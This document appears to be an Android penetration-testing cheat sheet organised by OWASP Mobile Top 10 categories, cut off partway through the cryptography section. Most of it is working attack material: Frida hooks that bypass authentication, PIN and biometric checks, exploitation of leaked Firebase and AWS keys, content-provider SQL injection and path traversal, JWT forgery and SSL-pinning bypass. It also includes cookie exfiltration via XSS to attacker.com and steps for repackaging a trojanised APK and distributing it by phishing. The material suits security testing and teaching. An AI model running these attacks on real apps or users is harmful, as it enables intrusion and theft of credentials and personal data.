Legend:
[ATTACK]= Attack technique |[EXPLOIT]= Exploitation method |[DETECT]= Detection method |[BYPASS]= Bypass technique |[FRIDA]= Runtime hook |[BURP]= Traffic interception |[STATIC]= Static analysis |[FIX]= Secure implementation
1. Android Attacks Overview
What it means: The OWASP Mobile Top 10 is the definitive standard for Android security vulnerabilities — every Android pentest maps findings to this list. Understanding each category means you know WHAT to look for, WHERE to find it, and HOW to exploit it during an engagement.
1.1 OWASP Mobile Top 10 (2024) at a Glance
┌─────┬────────────────────────────────────────┬───────────────────────────────┐
│ # │ Category │ Primary Attack Vector │
├─────┼────────────────────────────────────────┼───────────────────────────────┤
│ M1 │ Improper Credential Usage │ Hardcoded creds, bad storage │
│ M2 │ Inadequate Supply Chain Security │ Malicious SDKs, 3rd party lib │
│ M3 │ Insecure Auth/Authorization │ Bypass login, privilege esc. │
│ M4 │ Insufficient Input/Output Validation │ SQLi, XSS, command injection │
│ M5 │ Insecure Communication │ MITM, no TLS, weak pinning │
│ M6 │ Inadequate Privacy Controls │ PII leakage, over-collection │
│ M7 │ Insufficient Binary Protections │ APK reversing, tampering │
│ M8 │ Security Misconfiguration │ Exported components, debug on │
│ M9 │ Insecure Data Storage │ Cleartext storage, world-read │
│ M10 │ Insufficient Cryptography │ Weak algo, hardcoded keys │
└─────┴────────────────────────────────────────┴───────────────────────────────┘
1.2 Android Attack Surface Map
APK File
├── AndroidManifest.xml → M3, M8 (exported components, debug mode)
├── classes.dex → M7 (reversible), M1 (hardcoded creds), M10
├── res/values/ → M1 (API keys in strings.xml)
├── assets/ → M7 (payload hiding), M10 (crypto keys)
└── lib/*.so → M7 (native reversing), M10
Running App
├── Local Storage → M9 (SQLite, SharedPrefs, files)
├── Network Traffic → M5 (MITM, SSL), M4 (API injection)
├── IPC Components → M3, M8 (exported activities/providers)
├── Memory → M9 (sensitive data in RAM)
└── Logs → M6 (PII in logcat), M1 (token logging)
Backend API
├── Authentication → M3 (broken auth, JWT)
├── Authorization → M3 (IDOR, privilege escalation)
├── Input Handling → M4 (SQLi, XSS via API)
└── Data Privacy → M6 (PII storage, over-sharing)
2. M1 — Improper Credential Usage
What it means: Credentials — API keys, passwords, tokens, encryption keys — are hardcoded into the app code, stored insecurely after login, or transmitted/logged in cleartext. This is the most consistently found high-severity vulnerability in real Android assessments.
2.1 Attack Vectors
Vector Location Severity
──────────────────────────────────────────────────────────────────────
Hardcoded API keys Java/Smali, strings.xml CRITICAL
Hardcoded passwords Java/Smali source CRITICAL
Hardcoded DB credentials Java/Smali source CRITICAL
JWT tokens in SharedPrefs /shared_prefs/*.xml HIGH
Tokens logged to logcat adb logcat output HIGH
Credentials in URL params Network traffic HIGH
Firebase API keys exposed google-services.json HIGH
AWS/cloud keys in APK res/ or assets/ CRITICAL
2.2 Finding Hardcoded Credentials
# ─── Static: grep decompiled source ───
jadx target.apk -d java_out/
# API keys / tokens
grep -rni "api.key\|apikey\|api_secret\|access_token" java_out/
grep -rni "aws_access\|aws_secret\|s3.bucket" java_out/
grep -rni "firebase\|google.api.key\|AIzaSy" java_out/
grep -rni "private.key\|-----BEGIN" java_out/
# Hardcoded passwords
grep -rni "password\s*=\s*\"" java_out/
grep -rni "passwd\|secret\s*=\s*\"" java_out/
grep -rni "admin\|root\|backdoor" java_out/
# Tokens in strings.xml
grep -i "key\|token\|secret\|api\|password" \
decompiled/res/values/strings.xml
# Google services file (Firebase config)
cat decompiled/assets/google-services.json 2>/dev/null
cat decompiled/google-services.json 2>/dev/null
# Look for: api_key, project_id, database_url
# In smali
grep -rn "const-string" smali_out/smali/ | \
grep -iE "key|secret|pass|token|auth"
# ─── Dynamic: logcat credential capture ───
adb logcat | grep -iE "password|token|secret|api.key|bearer|authorization"
2.3 Exploitation Examples
# ─── Firebase key exploitation ───
# Extracted from google-services.json:
# "api_key": "AIzaSyXXXXXXXXXXX"
# "project_id": "target-app-12345"
# "database_url": "https://target-app-12345.firebaseio.com"
import requests
DB_URL = "https://target-app-12345.firebaseio.com"
# Test unauthenticated read
r = requests.get(f"{DB_URL}/.json")
if r.status_code == 200:
print("[!!!] Firebase DB open to unauthenticated read!")
print(r.json())
# Test with extracted API key
API_KEY = "AIzaSyXXXXXXXXXXX"
# List all users (if Firebase Auth)
r = requests.post(
f"https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key={API_KEY}",
json={"email": "admin@target.com", "password": "password123",
"returnSecureToken": True}
)
print(r.json()) # Returns JWT token if successful!
# ─── AWS key exploitation ───
# Found in APK: aws_access_key_id + aws_secret_access_key
import boto3
client = boto3.client(
"s3",
aws_access_key_id="AKIAXXXXXXXXXXXXXXXX",
aws_secret_access_key="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
)
# List all S3 buckets
buckets = client.list_buckets()
for b in buckets['Buckets']:
print("[S3]", b['Name'])
# Download contents!
objs = client.list_objects_v2(Bucket=b['Name'])
for obj in objs.get('Contents', []):
print(" →", obj['Key'])
2.4 Token Theft via Frida
// Hook SharedPreferences to catch token storage/retrieval
Java.perform(function() {
var SharedPrefsImpl = Java.use("android.app.SharedPreferencesImpl");
SharedPrefsImpl.getString.implementation = function(key, defValue) {
var val = this.getString(key, defValue);
if (key.toLowerCase().match(/token|auth|session|key|secret|password/)) {
console.log("[CRED] SharedPrefs.getString: " + key + " = " + val);
}
return val;
};
// Hook AccountManager for OAuth tokens
var AccountManager = Java.use("android.accounts.AccountManager");
AccountManager.getAuthToken.overload(
"android.accounts.Account",
"java.lang.String",
"android.os.Bundle",
"boolean",
"android.accounts.AccountManagerCallback",
"android.os.Handler"
).implementation = function(account, authTokenType, options, notifyAuthFailure, callback, handler) {
console.log("[TOKEN] AccountManager.getAuthToken: " + account.name.value +
" type=" + authTokenType);
return this.getAuthToken(account, authTokenType, options,
notifyAuthFailure, callback, handler);
};
});
2.5 Secure Fix
// ✅ CORRECT: Use Android Keystore for sensitive keys
KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
keyStore.load(null);
KeyGenerator keyGen = KeyGenerator.getInstance(
KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore");
keyGen.init(new KeyGenParameterSpec.Builder(
"MySecretKey",
KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
.setBlockModes(KeyProperties.BLOCK_MODE_GCM)
.setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
.build());
SecretKey secretKey = keyGen.generateKey();
// ✅ CORRECT: Encrypted SharedPreferences (Jetpack Security)
SharedPreferences encryptedPrefs = EncryptedSharedPreferences.create(
"secure_prefs",
MasterKey.DEFAULT_MASTER_KEY_ALIAS,
context,
EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
);
3. M2 — Inadequate Supply Chain Security
What it means: Third-party SDKs, libraries, and dependencies bundled into Android apps introduce attack surface outside the developer's control. A malicious or compromised SDK can exfiltrate data, display ads, mine cryptocurrency, or create backdoors — all from within the trusted app context.
3.1 Attack Vectors
Vector Risk Real Example
──────────────────────────────────────────────────────────────────────────
Malicious ad SDK Data exfiltration MintegralSDK (2020)
Vulnerable analytics SDK RCE via dependency Mopub (deprecated)
Open source lib with CVE Exploit known vulnerability log4j-style
Repackaged app (pirated) Backdoored APK Fake WhatsApp
Malicious Gradle dependency Build-time supply chain SolarWinds-style
Unsigned/tampered APK update Inject code via update Package update hijack
3.2 Identifying Risky Third-Party SDKs
# ─── APKiD to identify SDKs + frameworks ───
apkid target.apk
# Shows: React Native, Flutter, Firebase, Crashlytics, Adjust, etc.
# ─── Enumerate SDKs in decompiled code ───
jadx target.apk -d java_out/
ls java_out/com/ # third-party packages!
# Common suspicious:
# com/mintegral/ ← data harvester SDK
# com/appsflyer/ ← tracking SDK
# com/kochava/ ← attribution SDK
# com/ironsource/ ← ad SDK with past issues
# io/branch/ ← deep linking SDK
# ─── Check for known vulnerable dependencies ───
# Get list of packages
find java_out/ -name "*.java" | head -5
grep -rh "^package " java_out/ | sort -u > package_list.txt
# Check against CVE databases
cat package_list.txt | while read pkg; do
echo "Checking: $pkg"
# Cross-reference with OSS-Index or Snyk
done
# ─── MobSF SDK analysis ───
# MobSF report → "Libraries" section
# Shows: all detected SDKs with known CVEs
# ─── Check app certificate (repackaged app detection) ───
apksigner verify --print-certs target.apk
# Legitimate app cert should match Google Play listing
# Different cert → repackaged/trojanized!
# Verify against Play Store cert:
keytool -printcert -jarfile original.apk | grep "SHA-256"
keytool -printcert -jarfile target.apk | grep "SHA-256"
# Different hashes → TAMPERED!
3.3 SDK Data Exfiltration Analysis
# Check what each SDK accesses
grep -rn "com.mintegral\|com.ironsource" java_out/ -l
# Open each file → trace data access
# Common SDK over-reach patterns:
grep -rn "getDeviceId\|getImei\|getLine1Number" java_out/
# → Legitimate app shouldn't need IMEI → SDK is harvesting it!
grep -rn "READ_CONTACTS\|READ_CALL_LOG\|READ_SMS" java_out/
# → If only SDK code uses this → SDK abusing permissions!
# ─── Frida: trace SDK network calls ───
// Identify which SDK is making suspicious network calls
Java.perform(function() {
var URL = Java.use("java.net.URL");
URL.$init.overload("java.lang.String").implementation = function(url) {
// Print call stack to identify which SDK made the call
var stack = Java.use("android.util.Log")
.getStackTraceString(Java.use("java.lang.Exception").$new());
console.log("[NET] URL: " + url);
console.log("[STACK]\n" + stack.split("\n").slice(0,8).join("\n"));
return this.$init(url);
};
});
// → Stack trace shows EXACTLY which SDK/class made the network call!
4. M3 — Insecure Authentication / Authorization
What it means: Authentication flaws allow accessing the app without valid credentials. Authorization flaws allow accessing resources/features beyond your privilege level — both on the mobile client side (component bypasses) and the backend API (IDOR, privilege escalation, broken access control).
4.1 Client-Side Authentication Bypass
# ─── Find auth check methods ───
grep -rni "isLoggedIn\|isAuthenticated\|checkLogin\|verifyToken" java_out/
grep -rni "isAdmin\|hasPermission\|checkRole\|isAuthorized" java_out/
# ─── Patch bypass (APK patching) ───
# Find in smali → patch to return true
# See: APK Patching notes
# ─── Frida bypass (runtime) ───
Java.perform(function() {
// Bypass isLoggedIn check
var SessionManager = Java.use("com.target.app.SessionManager");
SessionManager.isLoggedIn.implementation = function() {
console.log("[BYPASS] isLoggedIn → forced true");
return true;
};
// Bypass role check
var UserManager = Java.use("com.target.app.UserManager");
UserManager.hasRole.implementation = function(role) {
console.log("[BYPASS] hasRole(" + role + ") → forced true");
return true;
};
// Bypass PIN/OTP check
var PinManager = Java.use("com.target.app.PinManager");
PinManager.verifyPin.implementation = function(pin) {
console.log("[BYPASS] verifyPin(" + pin + ") → forced true");
return true;
};
});
4.2 Exported Activity Authorization Bypass
# ─── Find exported activities (no auth required) ───
adb shell dumpsys package com.target.app | grep -A 3 "Activity"
dz> run app.package.attacksurface com.target.app
# ─── Launch admin activity directly ───
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.UserListActivity
adb shell am start -n com.target.app/.DebugActivity
# ─── With privilege extras ───
adb shell am start -n com.target.app/.ProfileActivity \
--es userId 1 --es role admin --ez isAdmin true
4.3 API Authorization — IDOR & Privilege Escalation
# ─── Set up interception ───
# Objection: android sslpinning disable
# Route traffic through Burp Suite
# ─── Captured request: ───
# GET /api/v1/users/1042/profile
# Authorization: Bearer <YOUR_TOKEN>
# ─── IDOR: change user ID ───
# In Burp Repeater: change 1042 → 1, 2, 3...
GET /api/v1/users/1/profile # access admin profile!
GET /api/v1/users/1043/profile # access another user!
# ─── Privilege escalation: access admin endpoint ───
GET /api/v1/admin/users # try with regular user token
POST /api/v1/admin/config # try admin actions
DELETE /api/v1/admin/users/5 # try admin delete
# ─── JWT role manipulation ───
# Decode token (base64): {"role":"user","uid":"1042"}
# Try alg:none attack or weak secret crack
pip3 install jwt_tool
jwt_tool <TOKEN> -X a # alg:none bypass
jwt_tool <TOKEN> -I -pc role -pv admin # change role → admin
jwt_tool <TOKEN> -C -d rockyou.txt # crack secret
4.4 Biometric Authentication Bypass
// Frida: bypass biometric authentication
Java.perform(function() {
// Hook BiometricPrompt authentication result
var AuthCallback = Java.use(
"androidx.biometric.BiometricPrompt$AuthenticationCallback");
AuthCallback.onAuthenticationSucceeded.implementation = function(result) {
console.log("[BYPASS] Biometric auth → forced success!");
this.onAuthenticationSucceeded(result);
};
// Alternatively: call success directly on any authentication attempt
var BiometricManager = Java.use("androidx.biometric.BiometricManager");
BiometricManager.canAuthenticate.implementation = function() {
return 0; // BIOMETRIC_SUCCESS
};
});
5. M4 — Insufficient Input / Output Validation
What it means: When app code passes user-supplied data directly to SQL queries, system commands, file paths, or web content without sanitization, attackers inject malicious payloads. Android-specific vectors include Content Provider SQL injection, WebView XSS, deep link parameter injection, and Intent data injection.
5.1 Content Provider SQL Injection
# ─── Find injectable content providers ───
dz> run scanner.provider.injection -a com.target.app
# ─── Manual test with Drozer ───
# Normal query:
dz> run app.provider.query \
content://com.target.app.provider/users \
--selection "username='admin'"
# SQL Injection:
dz> run app.provider.query \
content://com.target.app.provider/users \
--selection "1=1--"
# If returns ALL rows → injectable!
# Dump schema:
dz> run app.provider.query \
content://com.target.app.provider/users \
--projection "* FROM sqlite_master--"
# Returns: all tables!
# Dump sensitive table:
dz> run app.provider.query \
content://com.target.app.provider/users \
--projection "* FROM credentials--"
# ─── Direct ADB content query ───
adb shell content query \
--uri "content://com.target.app.provider/users" \
--where "1=1"
5.2 WebView XSS & JavaScript Injection
# ─── Find WebView loading URL from intent ───
grep -rn "getStringExtra.*url\|getStringExtra.*link\|getData()" java_out/
grep -rn "webView.loadUrl\|webView.loadData" java_out/
# ─── Test XSS via deep link ───
adb shell am start -a android.intent.action.VIEW \
-d "myapp://view?url=javascript:alert(1)"
# ─── XSS → data theft ───
adb shell am start -n com.target.app/.WebViewActivity \
-e url "javascript:fetch('https://attacker.com/?c='+document.cookie)"
# ─── If addJavascriptInterface exposed ───
# XSS payload to call Java bridge:
adb shell am start -n com.target.app/.WebViewActivity \
-e url "javascript:window.AndroidBridge.getToken()"
5.3 Path Traversal via Content Provider
# ─── Automated test ───
dz> run scanner.provider.traversal -a com.target.app
# ─── Manual path traversal ───
dz> run app.provider.read \
"content://com.target.app.fileprovider/../../../data/data/com.target.app/shared_prefs/auth.xml"
# Read arbitrary files:
dz> run app.provider.read \
"content://com.target.app.fileprovider/../../../../etc/passwd"
# ─── ADB path traversal ───
adb shell content read \
--uri "content://com.target.app.provider/../../../data/data/com.target.app/databases/app.db"
5.4 Deep Link Parameter Injection
# ─── Find deep link handlers ───
grep -n "intent-filter\|scheme\|host\|pathPrefix" \
decompiled/AndroidManifest.xml
# ─── Test parameter injection ───
# If app handles: myapp://action?redirect=https://target.com
# Open redirect:
adb shell am start -a android.intent.action.VIEW \
-d "myapp://action?redirect=https://evil.com"
# XSS in WebView:
adb shell am start -a android.intent.action.VIEW \
-d "myapp://view?page=javascript:alert(document.domain)"
# Path traversal:
adb shell am start -a android.intent.action.VIEW \
-d "myapp://file?path=../../../data/data/com.target.app/databases/app.db"
# SSRF (if app makes server-side request with URL param):
adb shell am start -a android.intent.action.VIEW \
-d "myapp://fetch?url=http://internal.server/admin"
5.5 Intent Injection (Pending Intent Hijack)
// Frida: inject into implicit intents
Java.perform(function() {
var Intent = Java.use("android.content.Intent");
// Hook sendBroadcast to see all broadcast intents
var Context = Java.use("android.app.ContextImpl");
Context.sendBroadcast.overload("android.content.Intent").implementation =
function(intent) {
console.log("[INTENT] Broadcast: " + intent.getAction());
console.log("[INTENT] Extras: " + intent.getExtras());
this.sendBroadcast(intent);
};
});
6. M5 — Insecure Communication
What it means: Data transmitted without encryption or with improper TLS validation is vulnerable to network-level eavesdropping, man-in-the-middle attacks, credential interception, and session hijacking. This includes cleartext HTTP, improper certificate validation, weak cipher suites, and bypassable SSL pinning.
6.1 Finding Insecure Communication
# ─── Static: check network security config ───
cat decompiled/res/xml/network_security_config.xml
# BAD: <base-config cleartextTrafficPermitted="true">
# BAD: <trust-anchors><certificates src="user"/></trust-anchors>
# BAD: Missing certificate pinning for sensitive domains
# ─── Static: find HTTP endpoints ───
grep -rh "http://" java_out/ | grep -v "schema\|xmlns\|example\|android.com" | sort -u
# Any http:// (not https://) = cleartext!
# ─── Static: check TrustManager ───
grep -rn "onReceivedSslError\|handler.proceed" java_out/
# handler.proceed() in onReceivedSslError = accepts ALL SSL errors!
grep -rn "checkServerTrusted\|HostnameVerifier\|ALLOW_ALL" java_out/
# Empty checkServerTrusted = no cert validation!
# ALLOW_ALL_HOSTNAME_VERIFIER = accepts any hostname!
# ─── Dynamic: intercept with Burp ───
# 1. objection: android sslpinning disable
# 2. Route traffic through Burp
# 3. Check for:
# - HTTP requests (not HTTPS)
# - Sensitive data in URL params
# - Missing HSTS headers
# - Weak cipher suites (RC4, DES, 3DES)
6.2 Man-in-the-Middle Attack Setup
# ─── Full MITM setup ───
# Step 1: Install Burp CA
openssl x509 -inform DER -in burp_cert.der -out burp_cert.pem
HASH=$(openssl x509 -inform PEM -subject_hash_old -in burp_cert.pem | head -1)
cp burp_cert.pem ${HASH}.0
adb root && adb remount
adb push ${HASH}.0 /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/${HASH}.0
# Step 2: Bypass SSL pinning
objection -g com.target.app explore
> android sslpinning disable
# Step 3: Configure proxy
adb shell settings put global http_proxy 192.168.1.100:8080
# OR use transparent proxy with iptables
# Step 4: Verify interception
# Browse app → Burp → Proxy → HTTP history
# ─── What to look for ───
# API keys in request headers
# Tokens in URL parameters (GET requests!)
# Sensitive data in request body (unencrypted)
# Server-side misconfiguration in response headers
6.3 Certificate Pinning Bypass Methods
# ─── Method 1: Objection (instant) ───
android sslpinning disable
# ─── Method 2: Frida universal script ───
frida -U -f com.target.app --no-pause \
-l universal-ssl-bypass.js
# ─── Method 3: apk-mitm (static patch) ───
npm install -g apk-mitm
apk-mitm target.apk # outputs patched APK
# ─── Method 4: Manual network_security_config patch ───
# Edit res/xml/network_security_config.xml:
# Add: <certificates src="user"/> under trust-anchors
# Rebuild + sign with apktool + uber-apk-signer
# ─── Method 5: Native OkHttp patch (smali) ───
# Find CertificatePinner.check() in smali
# Replace method body with: return-void
7. M6 — Inadequate Privacy Controls
What it means: Apps collect, store, and transmit more personal data than necessary, fail to protect PII adequately, or leak sensitive information through side channels like logs, analytics, crash reports, and inter-app data sharing.
7.1 PII Data Collection Analysis
# ─── Find what PII the app collects ───
grep -rn "getDeviceId\|getImei\|getSubscriberId" java_out/ # IMEI
grep -rn "getLine1Number\|getSimSerialNumber" java_out/ # Phone #
grep -rn "getLastKnownLocation\|requestLocationUpdates" java_out/ # GPS
grep -rn "READ_CONTACTS\|getContactsCursor" java_out/ # Contacts
grep -rn "RECORD_AUDIO\|MediaRecorder" java_out/ # Microphone
grep -rn "takePicture\|CAMERA" java_out/ # Camera
grep -rn "READ_CALL_LOG\|getCallLog" java_out/ # Call history
grep -rn "READ_SMS\|SmsManager" java_out/ # SMS
# ─── Check where PII goes ───
grep -rn "sendToAnalytics\|track(\|identify(\|logEvent(" java_out/
# Find SDK calls that receive PII → where is it sent?
7.2 PII Leakage via Logcat
# ─── Live PII detection in logs ───
adb logcat | grep -iE \
"name|email|phone|address|dob|ssn|credit|card|password|token|location|gps"
# Check for PII patterns (regex)
adb logcat | grep -E \
"[0-9]{4}[-\s]?[0-9]{4}[-\s]?[0-9]{4}[-\s]?[0-9]{4}" # Credit card
adb logcat | grep -E \
"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" # Email
adb logcat | grep -E \
"\+?[0-9]{10,13}" # Phone number
# ─── Find Log calls in source ───
grep -rn "Log\.d\|Log\.v\|Log\.i\|Log\.e" java_out/ | \
grep -iE "email|phone|name|token|password|card|ssn"
7.3 Analytics SDK Over-Collection
// Frida: intercept analytics/tracking calls
Java.perform(function() {
// Firebase Analytics
try {
var FirebaseAnalytics = Java.use("com.google.firebase.analytics.FirebaseAnalytics");
FirebaseAnalytics.logEvent.implementation = function(event, params) {
console.log("[ANALYTICS] Event: " + event);
if (params !== null) {
console.log("[ANALYTICS] Params: " + params.toString());
}
this.logEvent(event, params);
};
} catch(e) {}
// Adjust tracking
try {
var Adjust = Java.use("com.adjust.sdk.Adjust");
Adjust.trackEvent.implementation = function(event) {
console.log("[ADJUST] Track event called");
this.trackEvent(event);
};
} catch(e) {}
});
8. M7 — Insufficient Binary Protections
What it means: Without binary protections, an APK can be trivially decompiled to recover full source code, secrets, and logic — then repackaged with malicious modifications and redistributed. Protections include code obfuscation, anti-tamper, anti-debug, and root detection.
8.1 Assessing Binary Protections
# ─── Check obfuscation ───
apkid target.apk
# "proguard" → basic obfuscation
# "dexguard" → commercial strong obfuscation
# nothing → NO obfuscation → full source readable!
jadx target.apk -d java_out/
# If class names = full words (LoginActivity, AuthManager)
# → NO obfuscation → immediate source code access!
# If class names = a, b, c, aa, ab...
# → ProGuard/R8 obfuscation → harder but still reversible
# ─── Check for anti-tamper ───
grep -rni "getSignatures\|PackageInfo.signatures\|checkSignature" java_out/
# No signature check → easily repackaged!
# ─── Check for anti-debug ───
grep -rni "isDebuggerConnected\|waitingForDebugger" java_out/
# No debug check → trivially debuggable!
# ─── Check for root detection ───
grep -rni "isRooted\|superuser\|magisk\|su\b" java_out/
# No root check → runs fully on rooted device/emulator!
# ─── Check debuggable flag ───
grep "debuggable" decompiled/AndroidManifest.xml
# android:debuggable="true" → can attach debugger directly!
8.2 APK Repackaging Attack
# ─── Repackage APK with malicious code ───
# Step 1: Decode
apktool d target.apk -o modified/
# Step 2: Inject malicious code
# Add a new smali file OR modify existing MainActivity.smali
cat > modified/smali/com/evil/Payload.smali << 'EOF'
.class public Lcom/evil/Payload;
.super Ljava/lang/Object;
.method public static execute(Landroid/content/Context;)V
.registers 3
# ... malicious code here
return-void
.end method
EOF
# Add call in MainActivity.smali
# invoke-static {p0}, Lcom/evil/Payload;->execute(Landroid/content/Context;)V
# Step 3: Rebuild
apktool b modified/ -o malicious.apk
# Step 4: Sign
java -jar uber-apk-signer.jar -a malicious.apk
# Step 5: Verify repackaging worked
apksigner verify --print-certs malicious-aligned-debugSigned.apk
# → Different certificate from original → repackaged!
# Step 6: Distribute via phishing / 3rd party stores
# → Users install thinking it's legitimate app!
8.3 Bypassing Anti-Tamper Checks
// Frida: bypass signature check
Java.perform(function() {
// Hook PackageManager.getPackageInfo to fake original signature
var PackageManager = Java.use("android.app.ApplicationPackageManager");
PackageManager.getPackageInfo.overload(
"java.lang.String", "int"
).implementation = function(pkg, flags) {
var info = this.getPackageInfo(pkg, flags);
if (pkg === "com.target.app" && (flags & 0x40) !== 0) {
// flags & 0x40 = GET_SIGNATURES
// Replace with expected signature
console.log("[BYPASS] Signature check bypassed");
// Return modified info with expected sig
}
return info;
};
// Hook CRC/hash check on DEX file
var Runtime = Java.use("java.lang.Runtime");
// ... bypass checksum verification
});
9. M8 — Security Misconfiguration
What it means: Misconfigured Android manifest settings, overly permissive file permissions, exposed debug interfaces, enabled developer options, and improperly exported components — all create exploitable attack surface that requires zero exploitation skill to abuse.
9.1 Critical Manifest Misconfigurations
# ─── Extract and check manifest ───
apktool d target.apk -o out/
cat out/AndroidManifest.xml
# ─── Check all dangerous settings at once ───
echo "=== DEBUGGABLE ==="
grep "debuggable=\"true\"" out/AndroidManifest.xml
# → Allows debugger attach → read memory, modify runtime!
echo "=== BACKUP ENABLED ==="
grep "allowBackup=\"true\"" out/AndroidManifest.xml
# → adb backup works without root → extract all app data!
echo "=== CLEARTEXT TRAFFIC ==="
grep "cleartext\|usesCleartextTraffic=\"true\"" out/AndroidManifest.xml
# → Allows HTTP requests → MITM without SSL bypass!
echo "=== EXPORTED ACTIVITIES ==="
grep -A 3 "activity" out/AndroidManifest.xml | grep "exported=\"true\""
# → Any exported activity = potential auth bypass!
echo "=== EXPORTED RECEIVERS ==="
grep -A 3 "receiver" out/AndroidManifest.xml | grep "exported=\"true\""
# → Exported receivers = trigger internal app events!
echo "=== EXPORTED PROVIDERS ==="
grep -A 3 "provider" out/AndroidManifest.xml | grep "exported=\"true\""
# → Exported providers = direct DB/file access!
echo "=== WORLD READABLE PERMISSIONS ==="
grep "permission.*READ\|permission.*WRITE" out/AndroidManifest.xml
echo "=== NETWORK SECURITY CONFIG ==="
cat out/res/xml/network_security_config.xml 2>/dev/null || echo "NOT PRESENT"
9.2 Exploiting Exposed Components
# ─── Activity exploitation ───
# See M3 section above for full details
# ─── Content Provider exploitation ───
dz> run app.provider.info -a com.target.app
dz> run app.provider.query content://com.target.app.provider/
# ─── Broadcast Receiver exploitation ───
dz> run app.broadcast.info -a com.target.app
dz> run app.broadcast.send \
--component com.target.app com.target.app.UpdateReceiver \
--action com.target.app.UPDATE_CONFIG \
--extra string config_url "http://attacker.com/evil_config.json"
# ─── Debug mode exploitation ───
# If debuggable=true:
adb shell am attach-agent com.target.app /data/local/tmp/agent.so
# Attach JDWP debugger:
adb forward tcp:8700 jdwp:$(adb shell ps | grep com.target | awk '{print $2}')
jdb -attach localhost:8700
# Full Java debugger → inspect/modify any variable at runtime!
9.3 Firebase Misconfiguration
# ─── Find Firebase project from APK ───
cat decompiled/assets/google-services.json
# or
grep -rn "firebaseapp\|firebase" decompiled/res/ -r | head -5
# ─── Test Firebase security rules ───
FIREBASE_URL="https://YOUR-PROJECT.firebaseio.com"
# Test unauthenticated read
curl "${FIREBASE_URL}/.json"
# 200 → open to world! → data leak!
# 401 → secured
# Test write
curl -X PUT "${FIREBASE_URL}/test.json" -d '"hacked"'
# 200 → anyone can write! → data tampering!
# ─── Firebase Storage misconfig ───
curl "https://firebasestorage.googleapis.com/v0/b/YOUR-PROJECT.appspot.com/o"
# Lists all storage objects if misconfigured!
# ─── Firebase Auth: weak rules ───
# Check if API key allows creating accounts
curl -X POST \
"https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=API_KEY" \
-H "Content-Type: application/json" \
-d '{"email":"test@test.com","password":"test1234","returnSecureToken":true}'
# 200 → anyone can register → account enumeration!
10. M9 — Insecure Data Storage
What it means: Sensitive data stored without encryption or with world-accessible permissions is trivially extracted by anyone with physical access to an unlocked device, a malicious app on the same device, or ADB access. This is the most commonly found vulnerability in Android assessments after M1.
10.1 Storage Enumeration
# ─── Complete storage sweep (requires root) ───
PKG="com.target.app"
echo "=== SHARED PREFERENCES ==="
adb shell "su -c 'ls /data/data/$PKG/shared_prefs/'"
adb shell "su -c 'cat /data/data/$PKG/shared_prefs/*.xml'"
echo "=== DATABASES ==="
adb shell "su -c 'ls /data/data/$PKG/databases/'"
adb shell "su -c 'sqlite3 /data/data/$PKG/databases/*.db \".dump\"'" 2>/dev/null
echo "=== FILES ==="
adb shell "su -c 'find /data/data/$PKG/files/ -type f'"
adb shell "su -c 'cat /data/data/$PKG/files/*.json'" 2>/dev/null
echo "=== CACHE ==="
adb shell "su -c 'ls -la /data/data/$PKG/cache/'"
echo "=== EXTERNAL ==="
adb shell "ls -la /sdcard/Android/data/$PKG/"
adb shell "find /sdcard/ -name '*.db' -o -name '*.json' -o -name '*.xml'" 2>/dev/null
echo "=== TEMP FILES ==="
adb shell "su -c 'ls /data/local/tmp/'" 2>/dev/null
10.2 SharedPreferences Vulnerabilities
# ─── Read SharedPreferences (most common finding) ───
adb shell "su -c 'cat /data/data/com.target.app/shared_prefs/userdata.xml'"
# Typical vulnerable content:
# <?xml version='1.0' encoding='utf-8' standalone='yes' ?>
# <map>
# <string name="auth_token">eyJhbGciOiJIUzI1NiJ9...</string>
# <string name="username">admin@corp.com</string>
# <string name="password">MyP@ssw0rd123</string> ← CRITICAL!
# <string name="credit_card">4111111111111111</string> ← CRITICAL!
# </map>
# ─── MODE_WORLD_READABLE (Android < 4.4) ───
# Old apps using MODE_WORLD_READABLE → any app can read prefs!
grep -rn "MODE_WORLD_READABLE\|MODE_WORLD_WRITEABLE" java_out/
# HIGH finding even on modern Android!
10.3 SQLite Database Analysis
# ─── Find and analyze all databases ───
adb shell "su -c 'find /data/data/com.target.app/ -name \"*.db\"'"
# Pull and analyze
adb shell "su -c 'cp /data/data/com.target.app/databases/app.db /sdcard/'"
adb pull /sdcard/app.db
sqlite3 app.db
> .tables # list all tables
> .schema users # show table structure
> SELECT * FROM users; # dump users
> SELECT * FROM sessions; # dump active sessions
> SELECT * FROM credentials; # dump credentials!
> SELECT * FROM payment_methods; # dump payment data!
# ─── Common sensitive tables to check ───
sqlite3 app.db ".tables" | tr ' ' '\n' | sort
# Look for: users, credentials, sessions, tokens, messages,
# payment, transactions, keys, secrets, config
10.4 External Storage Exposure
# ─── Check for sensitive files on external storage ───
# External storage = world-readable until Android 10!
adb shell "find /sdcard/ -name '*.db' 2>/dev/null" # databases on SD!
adb shell "find /sdcard/ -name '*.pdf' 2>/dev/null" # documents
adb shell "find /sdcard/ -name '*.key' 2>/dev/null" # key files!
adb shell "find /sdcard/ -name '*.log' 2>/dev/null" # log files!
# Pull and analyze anything suspicious
adb pull /sdcard/com.target.app/ ./external_evidence/
# ─── Check if app writes sensitive data to external ───
grep -rn "getExternalStorageDirectory\|getExternalFilesDir" java_out/
# ALWAYS a finding if sensitive data goes here!
grep -rn "Environment.getExternalStorage\|WRITE_EXTERNAL_STORAGE" java_out/
11. M10 — Insufficient Cryptography
What it means: Using weak, deprecated, or broken cryptographic algorithms, storing keys insecurely, using hardcoded keys, predictable IVs, or ECB mode — all make "encrypted" data recoverable by an attacker. Encryption that can be bypassed offers false security worse than no encryption.
11.1 Identifying Weak Cryptography
# ─── Static analysis ───
grep -rn "getInstance.*AES.ECB\|AES/ECB" java_out/ # ECB mode = WEAK!
